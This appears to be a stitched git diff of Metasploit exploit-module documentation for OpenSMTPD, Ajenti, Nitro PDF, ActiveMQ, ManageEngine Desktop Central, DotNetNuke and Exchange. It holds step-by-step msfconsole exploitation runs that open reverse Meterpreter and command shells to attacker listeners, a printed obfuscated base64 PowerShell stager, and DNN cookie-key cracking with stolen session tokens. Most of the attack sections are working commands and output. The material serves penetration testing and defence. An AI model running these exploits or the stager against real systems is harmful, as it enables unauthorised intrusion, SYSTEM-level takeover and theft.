[*] Command shell session 4 opened (172.16.249.1:4444 -> 172.16.249.138:40377) at 2020-03-03 18:41:06 -0600
[*] Server stopped.
id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
uname -a
OpenBSD foo.localdomain 6.3 GENERIC#100 amd64
```
@@ -20,7 +20,7 @@ SMTP interaction with OpenSMTPD to execute a command as the root user.
```
Id Name
-- ----
0 OpenSMTPD >= commit a8e222352f
0 OpenSMTPD < 6.6.1
```
## Verification Steps
@@ -6,15 +6,13 @@ This module exploits a command injection in Ajenti == 2.1.31. By injecting a com
This module has been tested with [Ajenti 2.1.31](https://pypi.org/project/ajenti-panel/2.1.31/#files)
## Setup
### Setup
1. `sudo pip install ajenti-panel==2.1.31 ajenti.plugin.dashboard ajenti.plugin.settings ajenti.plugin.plugins`
2. `ajenti-panel -v`
## Verification Steps
Example steps in this format (is also in the PR):
1. `use exploit/unix/webapp/ajenti_auth_username_cmd_injection`
2. `set RHOSTS <rhost>`
3. `set LHOST <lhost>`
@@ -16,8 +16,6 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
@@ -60,4 +58,3 @@
[+] Deleted ZWTgqwsiFL.php
[*] Server stopped.
```
@@ -0,0 +1,59 @@
## Vulnerable Application
This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
PDF Reader version 11. The saveAs() Javascript API function allows for writing
arbitrary files to the file system. Additionally, the launchURL() function allows
an attacker to execute local files on the file system and bypass the security dialog
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/windows/fileformat/nitro_reader_jsapi```
4. Do: ```set payload windows/meterpreter/reverse_tcp```
5. Do: ```set LHOST [IP]```
6. Do: ```run```
7. You should get a shell.
## Options
### FILENAME
The file name to save the exploit pdf to. Default is `msf.pdf`
## Scenarios
### Nitro Pro PDF Reader 11.0.3.173 on Windows XP
```
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
[*] Processing scripts/nitro.rc for ERB directives.
resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi
resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (scripts/nitro.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/nitro.rc)> exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.175.1:4444
msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.100.4:8080/
[*] Server started.
[*] 192.168.100.4 nitro_reader_jsapi - Sending second stage payload
[*] Sending stage (957487 bytes) to 172.16.175.232
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500
[+] Deleted C:/Windows/Temp/UOIr.hta
msf exploit(nitro_reader_jsapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 2412 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\researcher\Desktop>
```
@@ -0,0 +1,70 @@
## Introduction
A directory traversal vulnerability was discovered in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows. The vulnerability, tracked as CVE-2015-1830, allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.
Because vulnerable servers allow for directory traversal, they will accept HTTP PUT requests for `/fileserver/..\\admin\\` and process these as requests for `/admin/`. For the PUT request to succeed, credentials need to be provided.
This module exploits CVE-2015-1830 by attempting to upload a JSP payload to a target via an HTTP PUT requests for `/fileserver/..\\admin\\` using the default credentials `admin:admin` (or any other credentials provided by the user). It then issues an HTTP GET request to `/admin/<payload>.jsp` on the target in order to trigger the payload and obtain a shell. The module has been succesfully tested against ActiveMQ 5.11.1 on a Windows 7 machine.
## Verification Steps
1. Start msfconsole.
2. Do: `use exploit/windows/http/apache_activemq_traversal_upload`.
3. Do: `set RHOSTS [IP]`. This option is used to set the IP address of the remote system running Apache ActiveMQ.
4. Do: `set PAYLOAD [payload]`. This option can be used to set the payload to use against the target. The default payload is `java/jsp_shell_reverse_tcp`.
5. Do: `set LHOST [IP]`. This option is used to set the IP address of the local machine the payload should establish a connection with.
6. Do: `exploit`.
## Options
1. `PASSWORD`. The default setting is `admin`, which is the default password for the ActiveMQ administrator account.
2. `PATH`. This option is the traversal path. `/fileserver/..\admin\` by default.
3. `USERNAME`. The default setting is `admin`, which is the default ActiveMQ administrator account.
## Scenarios
```
msf5 exploit(windows/http/apache_activemq_traversal_upload) > show options
Module options (exploit/windows/http/apache_activemq_traversal_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password to authenticate with
PATH /fileserver/..\admin\ yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8161 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
msf5 exploit(windows/http/apache_activemq_traversal_upload) > exploit
[*] Started reverse TCP handler on 192.168.1.1:4444
[*] Uploading payload...
[*] Payload sent. Attempting to execute the payload.
[*] Payload executed!
[*] Command shell session 1 opened (192.168.1.1:4444 -> 192.168.1.2:49194) at 2020-02-04 10:55:36 +0100
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop\activemq 5.11.1\apache-activemq-5.11.1\bin\win64>
```
## References
1. <https://www.cvedetails.com/cve/CVE-2015-1830/>
2. <https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt>
@@ -0,0 +1,98 @@
## Vulnerable Application
### Description
This module exploits a Java deserialization vulnerability in the
`getChartImage()` method from the `FileStorage` class within ManageEngine
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
> The short-term fix for the arbitrary file upload vulnerability was
> released in build 10.0.474 on January 20, 2020. In continuation of that,
> the complete fix for the remote code execution vulnerability is now
> available in build 10.0.479.
### Setup
1. Download a vulnerable installer (I used 10.0.465 x64)
2. Install the software in Windows (I used Windows 10)
### Targets
```
Id Name
-- ----
0 Windows Command
1 Windows Dropper
2 PowerShell Stager
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
**WfsDelay**
If the target is slow to shell, increase this value. The default is 60
seconds, on a fresh install and calibrated to my test environment.
## Scenarios
### Desktop Central 10.0.465 x64 on Windows 10
```
msf5 > use exploit/windows/http/desktopcentral_deserialization
msf5 exploit(windows/http/desktopcentral_deserialization) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/http/desktopcentral_deserialization) > show missing
Module options (exploit/windows/http/desktopcentral_deserialization):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
msf5 exploit(windows/http/desktopcentral_deserialization) > set rhosts 172.16.249.139
rhosts => 172.16.249.139
msf5 exploit(windows/http/desktopcentral_deserialization) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(windows/http/desktopcentral_deserialization) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Detected Desktop Central version 100465
[+] The target appears to be vulnerable. 100465 is an exploitable version
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
[*] Powershell command length: 2502
[*] Serializing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAImual4CA7VWa2+bSBT9nEj5D6iyBCiOjV0nTSNV2gFDjGu7psSP2GutCAww8QAuDLFJt/9979iQptt0t11pERLzuM9zz8zFz2OXkSQWEuuy/Ub4fHJ8NHZSJxKk2pr6al4XarkiHx3Beu1+aAbCO0Faos2mm0QOiVdXV1qepjhmh3njGjOUZTi6owRnkiz8KcxCnOKzD3f32GXCZ6H2R+OaJncOLcUKzXFDLJyh2ON7g8R1eDgNe0MJk8Tffxfl5Vlr1dA/5Q7NJNEuMoajhkepKAtfZO7wpthgSRwSN02yxGeNGYlftxuTOHN8PAJrD3iIWZh4mShDFvCmmOVpLOzz4QYO25IIw3GauMjzUpxlYl1YctPL1eo3aVn6/ZjHjES4YcYMp8nGxukDcXHW6DmxR/FH7K9Ay2YpiYOVLIPYQ7LGUi3OKa0Lv2JGGuFthdrPKknPlUBqzFK5DoV8Ic9h4uUUHzTFFwI9FF+G50AAQO7LyfHJsV/RxX2rec/ZAqOj5X6MITppnGRkL/dOUOrCEPw4LEkLmNZu0hzLqydshVrkTOs/Vm9VslyyVzzC0nKaEG8FKmU9a87FoMvXf8zLLvZJjLtF7ETEragnvQQy9inep9ioxEYQlCSWG9jrYooDh3HYeK2/U9Mjwp501ZxQD6fIhUJlEBXUUP42mEMlJNGMhzgCiA5zIF/NB8LjSrokeVF553MQEjXqZFldGOdw4ty6YGOHYq8uoDgj5RbKWbIfil/DHeaUEdfJWGVuJVc4lv60JM5YmrtQNcj9xt5glziUQ1EXesTDamGToPIrvgiE5lAK5wAsPUAhYIUDYDPOhRRC5HWXGzZmZrShOAKR/ck3qBPAOS/JvueOE2BP/HuAFZkPzOVQVBg8Cw/qa9OE1YUpSRlcIBxWTqL/5P3ZzbGPQ0txWQipOh5LtWCc1LUd4nwsMdkjkDLI3kiTSHUyfNE53BHSq6ZOuufjbvKI4NGNj9ZUtSfThTn0+tQ2mX2rk8EkDE3SMgOYFxM9GDNl8/7mpte3uz2Udnehj8zM1HtqYbVU5PbIm2lfnUxAj2gD635nIk+Ngnlwq23NcTg3wZE2CMwAvqoZuqqyUAJVMbSBrYY6UVBgWz2r01qYzUuqkkfbtFFv9uTvyY/e6fTmuxs0GvZRaHzwjFbb2Ouvuf5ifT3o6vu5y+fWbaYTHfzoxq01DfFsulFnurGwphszON0G1nTQ7BihCusm2Q02dhOeVqv/EHuPQ3r5OIRwremiT/DCDHARIAsh+zam9t1WQ6rhpmr3HE2MCaytb8x4Z91thl5x22u+nQ4J3iTI0hEyKJzHCDnbbrM1S95b03Nroiu7YqLstvp9c6uT/nZdfifXFxdB0++Mm1PbjHtOqEK8Rb+zJv1T2AP6KLd+c8rx6+px8zGeU2estRJ612xNSPeNqpoE90dDl35SIWewcW7dJVrbDX2IyQwurWCexG1nDXZnAYLoID+os983QUfNKVlPTufcVn+rRP2dwuOM+pcQW7uMAbHYnDchPtTr2lp8bZvztocNtXnqvnvFGQuUrRV09IyKP+ohQyfNQocCRaE5VJeCkaRGed+PE8I1JOnwm7DGaYwpdFnow9XZQpQmLu83+9YAve7QgXhDnMDwdfvFkSw8Ccpf+1C1dHW1gDDhtO5QY4DjgIV1ZfdaUaCnKLuOAjn+fGJasikkMFTnHYnDcjBL92Zlfnpr6eye/M9glZdGCB/v38D6uvYPuz8FoFLfJ/zd6rcLvwTnr6c+cwgDURvuPYoPXfdlBEpmPPst4YWByvvlw/8rP+TsbAR/KyfHfwHyG93zwwoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] Uploading serialized payload
[+] Successfully uploaded serialized payload
[*] Deserializing payload
[+] Successfully deserialized payload
[*] Sending stage (206403 bytes) to 172.16.249.139
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.139:50055) at 2020-03-12 16:51:07 -0500
[!] This exploit may require manual cleanup of '..\webapps\DesktopCentral\_chart\logger.zip' on the target
meterpreter >
[+] Deleted ..\webapps\DesktopCentral\_chart\logger.zip
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MSEDGEWIN10
OS : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,370 @@
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data, which occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.
### DNN v5.0.0 - v9.1.0
**CVE-2017-9822**:
Directly exploitable.
### DNN v9.1.1 - v9.2.1
**CVE-2018-15811**, **CVE-2018-15812**:
The patch for CVE-2017-9822 used a weak encryption algorithm (DES) and an encryption key of low entropy. Furthermore, if the target site is configured to use Verified Registration, the plaintext value of the registration verification code is exposed on the user profile page. Since the verification code is encrypted using the same algorithm and key as the DNNPersonalization cookie, a known-plaintext attack can be used to recover the key and re-exploit CVE-2017-9822 with an encrypted cookie. In some cases a valid .DOTNETNUKE session token may be required for exploitation (v9.2.0+)
### DNN v9.2.2 - v9.3.0-RC
**CVE-2018-18325**, **CVE-2018-18326**:
The implemented patch for CVE-2018-15811 and CVE-2018-15812 did not prevent exploitation. The patch changed the encryption key used to encrypt and decrypt the DNNPersonalization cookie; however, this encryption key was still derived from the key used to encrypt and decrypt the registration verification code and the strength of the encryption algorithm was not increased (DES). Additional changes were made to prevent the full plaintext of the verification code from being disclosed. A partial plaintext value was still disclosed on the user profile page. Due to the project being open-source, it was possible to determine the format of the rest of the plaintext verification code. Using a list of obtained verification codes and the known partial plaintext value, it is possible to reduce the number of potential encryption keys through offline processing to a point where trying to re-exploit CVE-2017-9822 with each potential key becomes a feasible attack.
## Vulnerable Application
On a Windows machine, download the "Install" package from here:
[https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.3.0-rc2](https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.3.0-rc2)
Install packages for other versions can be downloaded from:
`https://github.com/dnnsoftware/Dnn.Platform/releases/tag/<version number>`
Follow the installation instructions here for installing with ATTACHED DATABASE:
[https://www.dnnsoftware.com/wiki/how-to-install-dotnetnuke](https://www.dnnsoftware.com/wiki/how-to-install-dotnetnuke)
You will need SQL Server 2005/2008/2008R2/2012 or 2016 installed.
Log in as the super user account and make sure the 404 error page is set to the built-in 404 Error Page.
Typically, this is already set as the default setting, but during testing I encountered an edge case where an issue during installation caused this value to be set to "None Specified".
Additionally, if you are testing this module from a machine other than the host that the application is installed on, you will need to configure the Site Alias so that it is accessible using a hostname other than `localhost`. Additional firewall rules may need to be configured to allow web access, depending on how you set up the applicaiton in IIS.
This module has been tested on DNN v7.0.0 - v9.3.0-RC running on Windows Server 2016.
### v5.0.0 - v9.1.0
No additional configuration required.
### v9.1.1+
While logged in as the super user account, configure the application to use Verified registration. You will also need to configure the SMTP server settings to be valid in order to receive the registration email.
## Verification Steps
### v5.0.0 - v9.1.0
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
4. Do: ```set RHOST <RHOST>```
5. Do: ```set RPORT <RPORT>```
6. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
7. Do: ```set LHOST <LHOST>```
8. Do: ```set LPORT <LPORT>```
9. Do: ```check```
10. **Verify** that you are seeing `The target appears to be vulnerable` in the console
11. Do: ```exploit```
12. **Verify** that you get a meterpeter shell
### v9.1.1
1. Install the application
2. Configure the application to use Verified Registration
3. Configure the application's SMTP server settings so that it will send the registration email
4. Register a new user account and copy the verification code in the link in the registration email
5. Log in as the new user and navigate to the Edit Profile page. Note the `userId` url path parameter value
6. Examine the page's source code and search for a `portalId` value that is a positive integer.
7. Start msfconsole
8. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
9. Do: ```set RHOST <RHOST>```
10. Do: ```set RPORT <RPORT>```
11. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
12. Do: ```set LHOST <LHOST>```
13. Do: ```set LPORT <LPORT>```
14. Do: ```set VERIFICATION_CODE <Verification Code>```
15. Do: ```set VERIFICATION_PLAIN <{portalId}-{userId}>```
16. Do: ```set ENCRYPTED true```
14. Do: ```check```
15. **Verify** that you are seeing `The target appears to be vulnerable` in the console
16. Do: ```exploit```
17. **Verify** that you get a meterpeter shell
### v9.2.0 - v9.2.1
1. Install the application
2. Configure the application to use Verified Registration
3. Configure the application's SMTP server settings so that it will send the registration email
4. Register a new user account and copy the verification code in the link in the registration email
5. Log in as the new user and navigate to the Edit Profile page. Note the `userId` url path parameter value
6. Examine the Edit Profile page's source code and search for a `portalId` value that is a positive integer.
7. While logged in, examine your cookies using the browser's developer tools or by other means. Copy the value of the `.DOTNETNUKE` cookie value.
8. Start msfconsole
9. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
10. Do: ```set RHOST <RHOST>```
11. Do: ```set RPORT <RPORT>```
12. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
13. Do: ```set LHOST <LHOST>```
14. Do: ```set LPORT <LPORT>```
15. Do: ```set VERIFICATION_CODE <Verification Code>```
16. Do: ```set VERIFICATION_PLAIN <{portalId}-{userId}>```
17. Do: ```set ENCRYPTED true```
18. Do: ```set SESSION_TOKEN <.DOTNETNUKE cookie value>```
19. Do: ```check```
20. **Verify** that you are seeing `The target appears to be vulnerable` in the console
21. Do: ```exploit```
22. **Verify** that you get a meterpeter shell
### v9.2.2 - 9.3.0-RC
In these versions, the `userId` value was changed to be a randomly generated GUID. This means that only the first part of the verification plaintext is known. By providing a list of several verification codes, it is possible to reduce the nubmer of potential encryption key values to a feasible amount. Once the list of encryption keys has been reduced, the module will test each key until an HTTP callback is received on port `8080` that indicates which key worked. Then, the final exploit payload will be encrypted using the recovered key and sent to the server, resulting in a shell.
1. Install the application
2. Configure the application to use Verified Registration
3. Configure the application's SMTP server settings so that it will send the registration email
4. Register several new user accounts and note the verification codes in the link in the registration emails
5. Log in as the new user and navigate to the Edit Profile page.
6. Examine the Edit Profile page's source code and search for a `portalId` value that is a positive integer
7. While logged in, examine your cookies using the browser's developer tools or by other means. Copy the value of the `.DOTNETNUKE` cookie value.
8. Start msfconsole
9. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
10. Do: ```set RHOST <RHOST>```
11. Do: ```set RPORT <RPORT>```
12. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
13. Do: ```set LHOST <LHOST>```
14. Do: ```set LPORT <LPORT>```
15. Do: ```set VERIFICATION_CODE <full path to file containing verification codes>```
16. Do: ```set VERIFICATION_PLAIN <{portalId}->```
17. Do: ```set ENCRYPTED true```
18. Do: ```set SESSION_TOKEN <.DOTNETNUKE cookie value>```
19. Do: ```set TARGET 4```
20. Do: ```check```
21. **Verify** that you are seeing `The target appears to be vulnerable` in the console.
22. Do: ```exploit```
23. **Verify** that you get a meterpeter shell
## Options
**DryRun**
Set this to `true` to generate a payload, but not send the exploit to the target server. Default value is `false`.
**ENCRYPTED**
Set this to `true` for targets running v9.1.1+. Default value is `false`.
**IV**
The initialization vector to use for encrypting the payload. If specified along with `KEY`, `VERIFICATION_CODE` and `VERIFICATION_PLAIN` options will be ignored.
**KEY**
The key to use for encryption. If specified along with `IV`, `VERIFICATION_CODE` and `VERIFICATION_PLAIN` options will be ignored.
**SESSION_TOKEN**
The .DOTNETNUKE session cookie value to use when submitting the payload to the server. Required for targets running v9.2.0+.
**SRVPORT**
The server port to listen for HTTP callbacks on when testing encryption passphrases for targets running v9.2.2 - v9.3.0-RC. Default value is `8080`
**TARGETURI**
Path to a page that will result in a DNN 404 Error Page. The default location is `/__`
**VERIFICATION_CODE**
The verification code received in an email, or the full path to a file containing multiple verification codes.
**VERIFICATION_PLAIN**
The known (full or partial) plaintext of the encrypted verification code. Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer (v9.1.1 - v9.2.1) or GUID (v9.2.2+).
## Scenarios
### v5.1.0 - v9.1.0
Here's showing the expected output:
```
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8083
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Trying to determine DNN Version...
[*] Checking version at /Documentation/License.txt ...
[+] DNN Version Found: v5.1.0 - v9.0.1
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] 192.168.31.131:8083 - The target appears to be vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49957) at 2019-07-10 14:02:09 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### v9.1.1
Here's showing the expected output
```
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8084
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE Amop-0Et1fM_
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-2
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Trying to determine DNN Version...
[*] Checking version at /Documentation/License.txt ...
[!] DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] 192.168.31.131:8084 - The target appears to be vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Finding Key...
[*] Searching at 648742.110 keys/s ...... 68.69% of keyspace complete.
[+] KEY Found: B2ABB4BB
[+] IV Found: 11A4D8BE
[*] Total number of Keys tried: 29568463
[*] Time to crack: 45.578 seconds
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49970) at 2019-07-10 14:46:38 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### v9.2.0 - v9.2.1
Here's the expected output:
```
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8085
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE xR9oL8FP2eE_
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-3
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 20FED393A44F86138D9089074C819880222A494155CEFAC6FEAF2B3B5204A227625654D87EA48ECB1E509664A7E8E32644BD363D3E6FD3A3273B245EF2D10B5E13D7912B
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Trying to determine DNN Version...
[*] Checking version at /Documentation/License.txt ...
[!] DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2 - try setting target 4 and supply a file of of verification codes, or specifiy valid Key and IV values.
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[+] 192.168.31.131:8085 - The target appears to be vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Finding Key...
[*] Searching at 641992.579 keys/s ...... 1.47% of keyspace complete.
[+] KEY Found: 022BA242
[+] IV Found: 0BCF9976
[*] Total number of Keys tried: 633602
[*] Time to crack: 0.987 seconds
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49971) at 2019-07-10 15:08:04 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### v9.2.2 - v9.3.0-RC
Here's the expected output:
```
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8090
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE /dnn930rc_verification_codes.txt
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 306A9A382E32E420739C589CCD5C44A7C2595A7163D3340DF4AD71D4223AFC6866E823F36C6171F84FD7352E6BEB17D66B9823567557988321A0867C7038FF6B0F5B0C1F943CBBDAC0B2EE3E
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 4
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[+] 192.168.31.131:8090 - The target is vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Finding Key...
[*] Searching at 420798.449 keys/s ...... 15.24% of keyspace complete.
[+] Possible Base Key Value Found: 2660A22D
[*] Total number of Keys tried: 6558182
[*] Time to crack: 15.585 seconds
[*] Generated 128 possible base KEY values from 2660A22D
[!] Finding possible base IVs. This may take a few minutes...
[*] Found 4 potential Base IV values using 10 verification codes in 42.82 seconds.
[*] Generated 512 possible base64 KEY and IV combinations.
[!] Trying all possible KEY and IV combinations...
[*] Starting HTTP listener on port 8080...
[*] Using URL: http://192.168.31.128:8080/fCyQGz78
[!] Sending 512 test Payload(s) to: /__. This may take a few minutes ...
[*] Trying KEY and IV combination 440 of 512...
[+] KEY: ByEypXIT and IV: zhKad5QC found
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49973) at 2019-07-10 15:39:12 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
@@ -0,0 +1,108 @@
## Vulnerable Application
This module exploits a .NET serialization vulnerability in the Exchange Control
Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not
randomizing the keys on a per-installation basis resulting in them using the
same validationKey and decryptionKey values. With knowledge of these, values an
attacker can craft a special viewstate to cause an OS command to be executed by
NT_AUTHORITY\SYSTEM using .NET deserialization.
